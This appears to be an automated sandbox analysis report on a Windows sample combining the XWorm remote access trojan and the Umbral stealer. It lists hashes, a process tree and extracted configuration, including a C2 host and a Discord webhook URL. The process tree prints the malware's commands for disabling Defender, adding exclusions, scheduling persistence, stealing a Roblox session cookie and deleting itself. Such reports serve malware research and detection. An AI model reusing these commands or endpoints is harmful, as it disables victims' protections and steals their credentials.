Analysis

  • max time kernel
    149s
  • max time network
    143s
  • platform
    windows7_x64
  • resource
    win7-20240708-en
  • resource tags

    arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
  • submitted
    22-09-2024 17:57

General

  • Target

    RuntimeBroker.exe

  • Size

    346KB

  • MD5

    6a983258dfa7b270cc0938e4c453f66a

  • SHA1

    21cb0158a55a859552fbfe442b7e7ca04c3dd77f

  • SHA256

    2b80a0860ed3b8e262f242f251839d513808829fc3e209b93d2048c272ccc205

  • SHA512

    7273d35af4e4c590566c9d514a26a24aa71696a94aab0a0bfc30820d6a6e9918044cd0df11c20b9b983b3b30edcfecc76a6e9670bdbb8ab7a7ed48c9d405fef5

  • SSDEEP

    6144:q/cLTw+cOiFUk6Pv6U9yy/J6cIiPx166FpQoO/KzFHT809ii6VfNtvAeB9:q0LdcOiFhXKU6/3zFA09iD1tIeB9

Malware Config

Extracted

Family

xworm

C2

expected-schema.gl.at.ply.gg:2980

Attributes
  • Install_directory

    %Userprofile%

  • install_file

    USB.exe

Extracted

Family

umbral

C2

https://discord.com/api/webhooks/1287360783734411274/Muly1yjywcFg321yTLGVUf6Ilh44xbfhxhT17VnDw6_iOfAw6PaTOvV1EsNLG7xaTeEl

Signatures

  • Detect Umbral payload 2 IoCs
  • Detect Xworm Payload 5 IoCs
  • Umbral

    Umbral stealer is an opensource moduler stealer written in C#.

  • Xworm

    Xworm is a remote access trojan written in C#.

  • Credentials from Password Stores: Credentials from Web Browsers 1 TTPs

    Malicious Access or copy of Web Browser Credential store.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 8 IoCs

    Using powershell.exe command.

  • Drops file in Drivers directory 1 IoCs
  • Drops startup file 2 IoCs
  • Executes dropped EXE 6 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 2 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Network Configuration Discovery: Internet Connection Discovery 1 TTPs 2 IoCs

    Adversaries may check for Internet connectivity on compromised systems.

  • Detects videocard installed 1 TTPs 1 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Runs ping.exe 1 TTPs 1 IoCs
  • Scheduled Task/Job: Scheduled Task 1 TTPs 1 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 11 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 1 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

  • Views/modifies file attributes 1 TTPs 1 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe
    "C:\Users\Admin\AppData\Local\Temp\RuntimeBroker.exe"
    1⤵
    • Loads dropped DLL
    • Suspicious use of WriteProcessMemory
    PID:2052
    • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe
      "C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe"
      2⤵
      • Drops startup file
      • Executes dropped EXE
      • Adds Run key to start application
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of SetWindowsHookEx
      • Suspicious use of WriteProcessMemory
      PID:2056
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:1452
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2380
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Users\Admin\RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:2328
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'RuntimeBroker'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        PID:784
      • C:\Windows\System32\schtasks.exe
        "C:\Windows\System32\schtasks.exe" /create /f /RL HIGHEST /sc minute /mo 1 /tn "RuntimeBroker" /tr "C:\Users\Admin\RuntimeBroker"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:2300
    • C:\Users\Admin\AppData\Roaming\Umbrall.exe
      "C:\Users\Admin\AppData\Roaming\Umbrall.exe"
      2⤵
      • Drops file in Drivers directory
      • Executes dropped EXE
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2948
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" csproduct get uuid
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2768
      • C:\Windows\system32\attrib.exe
        "attrib.exe" +h +s "C:\Users\Admin\AppData\Roaming\Umbrall.exe"
        3⤵
        • Views/modifies file attributes
        PID:2604
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Roaming\Umbrall.exe'
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2968
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1196
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2316
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1572
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" os get Caption
        3⤵
        • Suspicious use of AdjustPrivilegeToken
        PID:2880
      • C:\Windows\System32\Wbem\wmic.exe
        "wmic.exe" computersystem get totalphysicalmemory
        3⤵
          PID:272
        • C:\Windows\System32\Wbem\wmic.exe
          "wmic.exe" csproduct get uuid
          3⤵
            PID:1524
          • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
            "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
            3⤵
            • Command and Scripting Interpreter: PowerShell
            • Suspicious behavior: EnumeratesProcesses
            PID:2496
          • C:\Windows\System32\Wbem\wmic.exe
            "wmic" path win32_VideoController get name
            3⤵
            • Detects videocard installed
            PID:1480
          • C:\Windows\system32\cmd.exe
            "cmd.exe" /c ping localhost && del /F /A h "C:\Users\Admin\AppData\Roaming\Umbrall.exe" && pause
            3⤵
            • System Network Configuration Discovery: Internet Connection Discovery
            • Suspicious use of WriteProcessMemory
            PID:3032
            • C:\Windows\system32\PING.EXE
              ping localhost
              4⤵
              • System Network Configuration Discovery: Internet Connection Discovery
              • Runs ping.exe
              PID:2012
        • C:\Users\Admin\AppData\Roaming\SynsWave.exe
          "C:\Users\Admin\AppData\Roaming\SynsWave.exe"
          2⤵
          • Executes dropped EXE
          • Suspicious use of WriteProcessMemory
          PID:2432
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c cls
            3⤵
              PID:3044
        • C:\Windows\system32\taskeng.exe
          taskeng.exe {253F0C97-430C-44CE-858A-AFB7A2F34AB4} S-1-5-21-3551809350-4263495960-1443967649-1000:NNYJZAHP\Admin:Interactive:[1]
          1⤵
            PID:2580
            • C:\Users\Admin\RuntimeBroker
              C:\Users\Admin\RuntimeBroker
              2⤵
              • Executes dropped EXE
              PID:2696
            • C:\Users\Admin\RuntimeBroker
              C:\Users\Admin\RuntimeBroker
              2⤵
              • Executes dropped EXE
              PID:1744
            • C:\Users\Admin\RuntimeBroker
              C:\Users\Admin\RuntimeBroker
              2⤵
              • Executes dropped EXE
              PID:2704

          Network

          MITRE ATT&CK Enterprise v15

          Replay Monitor

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          Downloads

          • C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\I6PMFEIN14XFN0LJXBCJ.temp

            Filesize

            7KB

            MD5

            b485de7f103f390bf969ff422cfb1feb

            SHA1

            ae74a7e1a7ab1048d5be0cc042aadd56dda40801

            SHA256

            ba8583094518c4b1dd2a7968c8ac4085e0f336f4584ea950af1b304785b66dd9

            SHA512

            4630ec421881e3d4cdb28f434db1a73626e7ef6a11c49528c36929d09d38a351d4bf3d1445544114456426652bce4ca766e779b96557a66a4c870cc93688c3e8

          • C:\Users\Admin\AppData\Roaming\RuntimeBroker.exe

            Filesize

            80KB

            MD5

            5b8832e9845170717385ed9fb6dd6589

            SHA1

            b51bbc5d54e0e7c84a3488ca16643e8c88e452fa

            SHA256

            21ed3d77c21d3f856d7a0852f316abb104c90004e912fa330562435921a26d1d

            SHA512

            841f88b766c9aae7d6ac3f8c6e563da16a1266bb795c38060d465451c15b0052b13e58e26ad95325253d9196d30717418cbe3c75ad19eaad21a9bdf9f5289fa6

          • C:\Users\Admin\AppData\Roaming\Umbrall.exe

            Filesize

            230KB

            MD5

            0b1ca5b7db9b402d2a2d5f2ceffb6d03

            SHA1

            e29fc0c937e930ae463110e6954759bdad901063

            SHA256

            7e7441520b44960fdc5fc8ec1b43c27a460baf7d84874d91fc78f4f97fd85aab

            SHA512

            5106921b55ec7f907b79a5b5fcab8cd387f27005c1da9a64680e0c2bdb25b99a20bbe59132452176ad9dcee9d8c2d23a8326f786de6453ef47094723f3e9a8b3

          • \Users\Admin\AppData\Roaming\SynsWave.exe

            Filesize

            25KB

            MD5

            12e7359129744823438f3d6b97192955

            SHA1

            89872a5a18abefe25d10efa824281718cf85ae39

            SHA256

            348086f9bd5939a48efcc94702271c1caf92ea11f3b0385367daf9530b51cf3e

            SHA512

            b38516752817d3ac6541d300cc17176c5bf1c38d321fd19c006cb1f5cf9d5ab7a228184ed267636841225e718f71d9cd8aed5e53e36c7ee3548ed6958b9e8563

          • memory/1196-32-0x00000000027E0000-0x00000000027E8000-memory.dmp

            Filesize

            32KB

          • memory/1196-31-0x000000001B5E0000-0x000000001B8C2000-memory.dmp

            Filesize

            2.9MB

          • memory/1744-94-0x0000000000090000-0x00000000000AA000-memory.dmp

            Filesize

            104KB

          • memory/2052-0-0x000007FEF5A23000-0x000007FEF5A24000-memory.dmp

            Filesize

            4KB

          • memory/2052-1-0x0000000000C30000-0x0000000000C8C000-memory.dmp

            Filesize

            368KB

          • memory/2056-19-0x000007FEF5A20000-0x000007FEF640C000-memory.dmp

            Filesize

            9.9MB

          • memory/2056-9-0x0000000000BE0000-0x0000000000BFA000-memory.dmp

            Filesize

            104KB

          • memory/2056-87-0x000007FEF5A20000-0x000007FEF640C000-memory.dmp

            Filesize

            9.9MB

          • memory/2696-91-0x0000000000E50000-0x0000000000E6A000-memory.dmp

            Filesize

            104KB

          • memory/2704-96-0x0000000000360000-0x000000000037A000-memory.dmp

            Filesize

            104KB

          • memory/2948-18-0x0000000001050000-0x0000000001090000-memory.dmp

            Filesize

            256KB

          • memory/2968-24-0x000000001B740000-0x000000001BA22000-memory.dmp

            Filesize

            2.9MB

          • memory/2968-25-0x0000000002860000-0x0000000002868000-memory.dmp

            Filesize

            32KB